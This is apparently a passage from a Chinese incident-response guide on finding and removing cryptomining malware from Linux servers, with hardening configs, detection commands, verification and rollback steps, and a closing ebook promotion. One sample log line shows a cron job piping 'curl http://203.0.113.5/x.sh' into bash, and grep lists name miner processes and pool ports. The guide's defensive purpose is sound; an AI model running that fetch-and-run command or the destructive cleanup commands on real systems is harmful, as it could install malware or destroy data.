find / -mtime -3 -size +1M -type f 2>/dev/null
find /etc/systemd /lib/systemd /usr/lib/systemd -mtime -7
md5sum $(which ps netstat ss top lsof find)
sha256sum /tmp/.x
6.5 安全工具
bash
chkrootkit -q
rkhunter --check --sk
unhide proc
unhide sys
unhide brute
clamscan -r /tmp /var/tmp /root /home
lynis audit system
6.6 内核
bash
lsmod
cat /proc/modules
modinfo <module_name>
find /lib/modules/$(uname -r) -mtime -30
cat /proc/kallsyms | grep -E "(hook|call|cr0)"
6.7 应急命令
bash
# 断网
iptables -I OUTPUT -m state --state NEW -j DROP
iptables -I OUTPUT -p tcp --dport 3333 -j DROP
iptables -I OUTPUT -p tcp --dport 4444 -j DROP
iptables -I OUTPUT -d <矿池IP> -j DROP
# 杀进程(先 STOP 后 KILL)
kill -STOP <PID>
kill -CONT <PID>
kill <PID>
kill -9 <PID>
# 清理 crontab
crontab -l > /tmp/incident/crontab.bak
crontab -r
# 清理 systemd
systemctl stop <miner.service>
systemctl disable <miner.service>
mv /etc/systemd/system/<miner.service> /tmp/incident/
systemctl daemon-reload
七、配置示例
7.1 Redis 加固配置
文件路径:/etc/redis/redis.conf。
# 网络
bind 127.0.0.1 ::1
protected-mode yes
port 6379
tcp-backlog 511
timeout 300
tcp-keepalive 60
# 认证
requirepass <强密码,建议 32 位以上随机字符>
# 通用
daemonize yes
supervised systemd
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
always-show-logo no
# 持久化
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis
# 内存
maxmemory 4gb
maxmemory-policy allkeys-lru
# 慢查询
slowlog-log-slower-than 10000
slowlog-max-len 128
# 安全
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG "CONFIG_<随机字符串>"
rename-command KEYS ""
rename-command DEBUG ""
rename-command SHUTDOWN "SHUTDOWN_<随机字符串>"
风险提醒:使用 rename-command 后必须记下原命令对应的新名字。忘记的话只能重启 Redis 并改回。
生效:
bash
systemctl reload redis-server
redis-cli -a <强密码> ping
7.2 SSH 加固配置
文件路径:/etc/ssh/sshd_config。
# 网络
Port 2222
AddressFamily inet
ListenAddress 0.0.0.0
ListenAddress ::
# 认证
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
KbdInteractiveAuthentication no
PermitEmptyPasswords no
# 限制
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2
# 转发
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PermitUserEnvironment no
GatewayPorts no
# 协议
Protocol 2
# 白名单
AllowGroups sshusers wheel
# 日志
SyslogFacility AUTH
LogLevel VERBOSE
风险提醒:Port 2222 改之前必须确认防火墙已放行。
生效:
bash
sshd -t
systemctl reload sshd
7.3 防火墙规则模板
文件路径:/etc/iptables/rules.v4(Debian)或 /etc/sysconfig/iptables(CentOS)。
Debian/Ubuntu:
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
# 已建立的连接放行
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i lo -j ACCEPT
# SSH
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 10.0.0.0/8 -j ACCEPT
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 172.16.0.0/12 -j ACCEPT
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 192.168.0.0/16 -j ACCEPT
# HTTP/HTTPS
-A INPUT -p tcp --dport 80 -m state --state NEW -s <负载均衡IP> -j ACCEPT
-A INPUT -p tcp --dport 443 -m state --state NEW -s <负载均衡IP> -j ACCEPT
# 应用端口
-A INPUT -p tcp --dport 8080 -m state --state NEW -s 10.0.0.0/8 -j ACCEPT
# ICMP
-A INPUT -p icmp -m limit --limit 5/sec -j ACCEPT
COMMIT
生效:
bash
netfilter-persistent reload
CentOS:
bash
iptables-restore < /etc/sysconfig/iptables
systemctl reload iptables
7.4 auditd 规则
文件路径:/etc/audit/rules.d/incident.rules。
# 监控关键文件
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d/ -p wa -k sudoers
-w /etc/ssh/sshd_config -p wa -k sshd
-w /etc/ssh/ssh_host_ed25519_key -p wa -k sshd
-w /etc/ssh/ssh_host_rsa_key -p wa -k sshd
# 监控持久化
-w /etc/crontab -p wa -k crontab
-w /etc/cron.d/ -p wa -k crontab
-w /etc/cron.daily/ -p wa -k crontab
-w /etc/cron.hourly/ -p wa -k crontab
-w /etc/cron.weekly/ -p wa -k crontab
-w /etc/cron.monthly/ -p wa -k crontab
-w /var/spool/cron/ -p wa -k crontab
-w /etc/systemd/system/ -p wa -k systemd
-w /lib/systemd/system/ -p wa -k systemd
# 监控二进制变更
-w /usr/bin -p wa -k usr_bin
-w /usr/sbin -p wa -k usr_bin
-w /bin -p wa -k bin
-w /sbin -p wa -k sbin
# 监控 SSH 密钥
-w /root/.ssh -p wa -k ssh_keys
-w /home -p wa -k home_change
# 监控 ld.so.preload
-w /etc/ld.so.preload -p wa -k ld_preload
# 系统调用
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec
-a always,exit -F arch=b64 -S execve -F euid=33 -k www_user_exec
-a always,exit -F arch=b64 -S setuid -k setuid_call
-a always,exit -F arch=b64 -S setgid -k setgid_call
-a always,exit -F arch=b64 -S chmod -F auid>=1000 -k user_chmod
-a always,exit -F arch=b64 -S mount -k mount_call
生效:
bash
systemctl restart auditd
风险提醒:审计规则过多会导致性能下降。建议只监控关键文件和关键系统调用。
查询:
bash
ausearch -k root_exec | head -50
ausearch -k crontab | head -50
ausearch -k ssh_keys | head -50
aureport --summary
7.5 fail2ban 配置
文件路径:/etc/fail2ban/jail.local。
[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 5
banaction = iptables-multiport
banaction_allports = iptables-allports
[sshd]
enabled = true
port = 2222
filter = sshd
logpath = /var/log/secure
maxretry = 3
[recidive]
enabled = true
logpath = /var/log/fail2ban.log
bantime = 86400
findtime = 86400
maxretry = 5
生效:
bash
systemctl restart fail2ban
fail2ban-client status
fail2ban-client status sshd
7.6 主机监控告警(Zabbix)
关键监控项:
-
CPU 使用率:5 分钟平均、单核最高。
-
进程数。
-
登录失败次数(来自
auth.log/secure解析)。 -
计划任务变更(来自 auditd 解析)。
-
crontab 列表长度。
-
/etc/passwd文件 hash 值变化。
-
出方向流量 TOP 10。
Prometheus 指标:
promql
# node_exporter
node_cpu_seconds_total{mode!="idle"}
node_load15
node_filefd_allocated
node_network_transmit_bytes_total
# 自定义 exporter
miner_pool_connections_total
miner_cpu_usage_ratio
incident_crontab_changes_total
八、日志或指标观察方法
8.1 系统日志
文件路径:
-
/var/log/secure(CentOS/RHEL):SSH 登录、sudo、用户切换。
-
/var/log/auth.log(Ubuntu/Debian):同上。
-
/var/log/messages(CentOS/RHEL):系统消息。
-
/var/log/syslog(Ubuntu/Debian):系统消息。
-
/var/log/kern.log:内核日志,可看内核模块加载。
-
/var/log/cron:crontab 执行日志。
-
/var/log/audit/audit.log:auditd 审计日志。
-
/var/log/fail2ban.log:fail2ban 封禁日志。
关键日志模式:
# SSH 异地登录
Jun 25 03:00:00 web-01 sshd[12345]: Accepted publickey for root from 198.51.100.10 port 43210 ssh2: ED25519 SHA256:abc...
# SSH 失败登录
Jun 25 03:01:00 web-01 sshd[12346]: Failed password for root from 198.51.100.10 port 43211 ssh2
# crontab 执行
Jun 25 03:02:00 web-01 CROND[12347]: (root) CMD (curl http://203.0.113.5/x.sh | bash)
# sudo 命令
Jun 25 03:03:00 web-01 sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash
# 内核模块加载
Jun 25 03:04:00 web-01 kernel: [12345.678] module loaded: diamorphine
8.2 应用日志
-
Nginx
:
/var/log/nginx/access.log、/var/log/nginx/error.log。 -
Redis
:
/var/log/redis/redis-server.log。 -
MySQL
:
/var/log/mysqld.log、/var/log/mysql/error.log。 -
PHP-FPM
:
/var/log/php-fpm/error.log、/var/log/php8.2-fpm.log。
8.3 云监控
- 阿里云云监控:CPU、网络、安全告警。
- 腾讯云云监控:同上。
- 华为云云监控:同上。
关键告警配置:
- 主机 CPU 持续 > 80%。
- 出方向流量 > 基线 80%。
- 异常外联 IP 告警。
- 异常登录告警。
- 主机安全风险告警(云厂商态势感知/安全中心)。
8.4 监控指标
promql
# CPU 占用
node_cpu_seconds_total{mode="user"}
node_cpu_seconds_total{mode="system"}
rate(node_cpu_seconds_total{mode!="idle"}[5m])
# 进程数
node_processes_state{state="running"}
node_processes_state{state="blocked"}
# 网络出方向
rate(node_network_transmit_bytes_total{device="eth0"}[5m])
# 进程资源
process_cpu_seconds_total
process_resident_memory_bytes
process_open_fds
process_start_time_seconds
# 文件描述符
node_filefd_allocated
node_filefd_maximum
告警阈值建议(以业务基线为准):
-
CPU 持续 5 分钟 > 80%。
-
进程数持续 5 分钟 > 500。
-
出方向流量持续 5 分钟 > 100 Mbps(视业务而定)。
-
单进程 CPU > 50% 持续 10 分钟。
-
/etc/passwdhash 变化。
九、排查路径
9.1 完整排查流程
-
接到告警
:Zabbix / 云监控告警 CPU 高。
-
初步判断
:登录机器,
top -c看进程。 -
保留现场
:快照、
ps auxf > /tmp/incident/ps.txt、ss -antp > /tmp/incident/ss.txt。 -
进程排查
:定位可疑进程,记录 PID、命令行、父进程、exe 路径。
-
网络排查
:定位矿池 IP、端口。
-
文件排查
:定位挖矿二进制位置。
-
持久化排查
:crontab、systemd、init.d、bashrc、SSH 公钥。
-
账户排查
:UID 0、可登录账户、空密码账户。
-
内核模块排查
:
lsmod、模块 mtime。 -
隐藏进程排查
:
unhide、chkrootkit、rkhunter。 -
断网
:封矿池端口或矿池 IP。
-
清理
:杀进程、删文件、清持久化、修复漏洞。
-
重启验证
:reboot 后看是否复活。
-
长跑观察
:观察 72 小时。
-
复盘文档
:时间线、入口、利用方式、修复、验证。
9.2 关键判断逻辑
判断是否挖矿木马
依据:
-
进程命令行含
stratum、pool.、monero、xmr、wallet。 -
/proc/<pid>/exe指向
/tmp、/var/tmp、/dev/shm。 -
进程占 CPU 接近或超过 100%。
-
连接境外 IP、可疑端口。
-
矿池域名在
/etc/hosts被劫持。
判断是否为 rootkit
依据:
-
unhide比
ps多发现进程。 -
chkrootkit报告 INFECTED。
-
/etc/ld.so.preload存在且指向可疑
.so。 -
lsmod出现不认识的内核模块。
-
系统命令
md5sum与包管理库不匹配。
判断入口
依据:
-
auth.log/
secure中 SSH 异地登录记录。 -
Redis 6379 公网暴露 + 弱口令 +
MONITOR模式被滥用。 -
Web 框架 CVE 对应漏洞被利用。
-
Docker API 2375 端口公网暴露。
十、风险提醒
10.1 高风险命令
-
kill -9 <挖矿PID>:可能导致配置未持久化,下次启动又起来。先
kill再删文件。 -
rm -rf /tmp/*:可能误删业务临时文件。先
mv到取证目录再处理。 -
crontab -r:会清空当前用户的 crontab,必须先备份。
-
systemctl stop crond:会停止所有 cron 调度,影响业务备份。
-
usermod -L root:会锁定 root 账户,影响登录。
-
chattr +i /etc/passwd:会让文件不可修改,排查完后忘记解锁会导致账户无法变更。
-
iptables -F:清空所有规则,可能导致 SSH 断开。
-
echo > /etc/ld.so.preload:可能在某些 rootkit 中会触发自删除逻辑。
-
直接
reboot:如果还没做现场保留,会丢失内存中的进程信息。
10.2 配置修改风险
- 修改 Redis
bind、requirepass后必须 reload 并验证。 - 修改
sshd_config后必须sshd -t测语法再 reload。 - 修改
sudoers必须用visudo,避免语法错误。 - 修改 iptables 必须保留 SSH 入方向规则。
10.3 升级风险
- Redis 大版本升级(如 5.0 → 7.0)可能改变
rename-command行为。 - SSH 改端口会影响自动化脚本。
- auditd 大量规则会导致性能下降。
10.4 凭据安全
- 排查脚本中不要写明文密码。
- 自动化脚本调用 Redis、SSH 时使用密钥认证 + ACL。
- 备份文件存放在权限受控的目录(
chmod 700、chown root:root)。
10.5 数据风险
- 清理过程中可能影响业务。必须在业务低峰期操作。
- 数据库密码泄露需要立即修改。
- SSH 密钥泄露需要立即撤销。
- Redis 已被入侵需要视为完全失陷,重新生成实例比清理更稳。
十一、验证方式
11.1 进程验证
bash
top -c
ps auxf | grep -E "(kdevtmpfsi|xmrig|kinsing|dwx|crypt|donate|redtail|.x)"
pstree -ap | grep -E "(kdevtmpfsi|xmrig|kinsing)"
预期:无任何挖矿相关进程。
11.2 网络验证
bash
ss -antp | grep -E "(3333|4444|5555|7777|14444|14433)"
ss -lntp
netstat -antp 2>/dev/null
预期:矿池端口无 ESTABLISHED 连接,无可疑监听。
11.3 文件验证
bash
ls /tmp /var/tmp /dev/shm
find / -name "kdevtmpfsi" -o -name "xmrig*" -o -name "kinsing*" 2>/dev/null
cat /etc/ld.so.preload 2>/dev/null
ls -la /usr/local/lib/ 2>/dev/null
预期:无挖矿相关文件,/etc/ld.so.preload 为空。
11.4 持久化验证
bash
for user in $(cut -d: -f1 /etc/passwd); do
crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab
ls /etc/cron.d/
systemctl list-unit-files --state=enabled
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys
cat /root/.bashrc
ls /etc/profile.d/
预期:crontab、systemd、SSH 公钥、bashrc 都是已知的,没有陌生项。
11.5 账户验证
bash
awk -F: '$3==0 {print}' /etc/passwd
grep -vE "(nologin|false)" /etc/passwd
awk -F: 'length($2)<10 {print}' /etc/shadow
预期:仅 root 是 UID 0;可登录账户仅运维账户;无空密码账户。
11.6 重启验证
bash
reboot
重启后重新执行 11.1 – 11.5 所有检查。
11.7 长跑观察
观察 72 小时:
-
top中无挖矿进程。
-
ss -antp中无矿池连接。
-
crontab -l持续为空。
-
auditd报告无新可疑事件。
-
Zabbix 告警持续消失。
十二、回滚方案
12.1 配置文件回滚
bash
cp /etc/incident/redis.conf.bak /etc/redis/redis.conf
systemctl reload redis
cp /etc/incident/sshd_config.bak /etc/ssh/sshd_config
sshd -t
systemctl reload sshd
cp /etc/incident/iptables.bak /etc/sysconfig/iptables
systemctl reload iptables
12.2 crontab 回滚
bash
crontab /tmp/incident/crontab_root.bak
crontab -u mysql /tmp/incident/crontab_mysql.bak
12.3 systemd unit 回滚
bash
cp /tmp/incident/<miner.service> /etc/systemd/system/
systemctl daemon-reload
systemctl enable <miner.service>
systemctl start <miner.service>
注意:只有确认 miner.service 真的是业务服务时才能回滚。如果不确定,宁可重新写。
12.4 SSH 公钥回滚
bash
cp /tmp/incident/authorized_keys_root.bak /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chown root:root /root/.ssh/authorized_keys
12.5 bashrc / profile 回滚
bash
cp /tmp/incident/bashrc_root.bak /root/.bashrc
cp /tmp/incident/profile.bak /etc/profile
# profile.d/*.sh 不批量回滚,按文件逐个确认
12.6 系统镜像回滚
云主机直接用云厂商控制台回滚到快照:
bash
# 通过云厂商 API 回滚
# 或通过控制台操作
物理机使用 LVM/ZFS 快照回滚:
bash
lvconvert --merge /dev/vg0/root_snap
zfs rollback tank/root@snapshot_$(date +%Y%m%d%H%M%S)
12.7 进程回滚(不建议)
挖矿木马不是业务进程,不应该回滚。如果因为误杀导致业务异常,从可信源重新部署。
十三、生产环境注意事项
13.1 应急窗口
挖矿木马应急响应必须在发现后立即开始,但执行清理动作时需要选择业务低峰窗口。建议流程:
-
T+0
:收到告警,登录机器初步判断。
-
T+15 分钟
:保留现场,断网,封矿池 IP。
-
T+1 小时
:完成排查,写出失陷评估。
-
T+4 小时
:完成清理,准备验证。
-
T+8 小时
:重启验证。
-
T+72 小时
:长跑观察。
-
T+1 周
:复盘文档、改进监控。
13.2 灰度策略
- 不在所有主机上同时执行相同的清理动作。先在一台机器上验证完整流程。
- Redis、SSH 等关键配置修改必须先灰度 1 台,再批量。
- 防火墙规则修改必须先在测试环境验证。
13.3 双份配置备份
每次修改配置前必须做双份备份:
bash
mkdir -p /etc/incident/$(date +%Y%m%d)
cp /etc/redis/redis.conf /etc/incident/$(date +%Y%m%d)/redis.conf.bak
cp /etc/ssh/sshd_config /etc/incident/$(date +%Y%m%d)/sshd_config.bak
强烈建议把 /etc/incident 目录用 git 管理。
13.4 监控告警双通道
- Zabbix/Prometheus + Alertmanager。
- 云厂商云监控。
- 企业微信/钉钉/Slack。
任何一条中断都不能影响整体告警能力。
13.5 凭据管理
- SSH 改密钥认证,禁止密码登录。
- 数据库密码、Redis 密码放 Vault / KMS。
- sudoers 中只允许特定命令 NOPASSWD。
- 应急响应文档中不要写明文密码,使用环境变量引用。
13.6 应急联络
- 关键运维负责人电话、邮箱、企业微信应在所有告警通道中可见。
- 应急响应预案文档应放在所有运维都能访问的位置。
- 跨部门(业务、安全、运维)联动机制要事先约定。
13.7 演练
每季度做一次挖矿木马应急演练:
- 蓝队:从告警发现 → 隔离 → 排查 → 修复 → 复盘全程演练。
- 红队:在隔离环境模拟挖矿木马投放,验证告警是否生效。
- 演练结果写入运维月报,公开复盘。
13.8 备份恢复
应急响应前必须确认备份可用:
- 数据库备份:mysqldump / xtrabackup / pg_dump 最近 7 天。
- 文件备份:站点目录最近 7 天。
- 配置备份:Ansible/Chef/Salt 仓库最近 7 天。
13.9 沟通
应急过程中必须保持沟通:
- 每完成一个里程碑(保留现场、断网、清理完成、重启验证、长跑完成)都通知业务方。
- 重大决策(断网、隔离、重装系统)必须先获得业务方授权。
- 复盘文档完成后分享给团队,避免重复踩坑。
十四、总结
挖矿木马清理的本质是”找到所有失陷点”+“彻底清理”+“修复入口”+”长期验证”四件事。每件事都不复杂,但合在一起就是一项系统工程。
14.1 检测能力
把六维度的检测能力建齐:
-
CPU
:单核 vs 多核、长跑 vs 短跑。
-
进程
:进程命令行、父子关系、可执行文件路径、属主、运行时间。
-
网络
:监听端口、ESTABLISHED 连接、DNS 查询、出方向流量。
-
文件
:可疑路径的可执行文件、
/etc/ld.so.preload、被替换的系统命令。 -
登录
:SSH 异地登录、sudo 异常命令、暴力破解。
-
计划任务
:crontab、systemd、init.d、rc.local、bashrc、profile。
14.2 清理能力
清理必须覆盖:
- 进程(先断网后杀进程)。
- 文件(备份后删除)。
- 持久化(crontab、systemd、init.d、bashrc、SSH 公钥、SUID、ld.so.preload)。
- 自恢复(watchdog、互拉 unit、iptables 劫持、hosts 劫持、命令替换)。
- 漏洞(Redis、SSH、Web 框架、容器、K8s)。
14.3 加固能力
加固覆盖:
- 密码(强密码、定期更换、不在脚本中明文)。
- 暴露面(最小端口、bind 内网、安全组、白名单)。
- 补丁(及时升级、CVE 跟踪)。
- 权限(最小权限、sudoers 白名单、SUID 审计)。
- 监控(多维度、基线告警、双通道)。
14.4 复盘能力
每次事件都要形成产出:
-
时间线
:什么时候出现第一次异常,每个里程碑的时间点。
-
入口
:通过什么漏洞/弱口令/暴露面进入。
-
利用方式
:怎么拿到最初的执行权限,怎么提权,怎么持久化。
-
检测
:哪些告警触发、哪些告警没触发。
-
清理
:所有清理动作清单、命令、时间点。
-
验证
:怎么确认清理有效,怎么确认不复活。
-
复盘
:哪里需要补齐监控、哪里需要补齐流程、哪里需要补齐培训。
把这一套形成模板,每次应急响应都按模板走,整个团队的挖矿木马响应能力就会逐渐变成肌肉记忆。
最后再强调一次:挖矿木马不难清理,难的是把所有失陷点一次性找全。建议每次应急都按照本文的清单逐项对照,不要凭经验跳步骤。漏掉一个 cron、漏掉一个 systemd、漏掉一个 ld.so.preload,挖矿木马都会复活。
今日福利
为了帮助大家入门网安,给大家推荐一份《新手Web安全入门到精通》,共474页,包括代码审计、web漏洞、靶场实例分析、信息收集、渗透思路等,将Web安全攻防知识点一网打尽。
代码配图,简单明了,攻防思路清晰透彻,关键是里面还配有多张思维导图,通俗易懂,实用性非常强,很适合新手学习参考~
以上资料获取请扫码
识别上方二维码
备注:web安全入门到精通
100%免费领取
(是扫码领取,不是在公众号后台回复,别看错了哦)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥网络安全 点击关注 👉 点击关注 👉《服务器被挖矿了?教你一步步彻底清理木马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论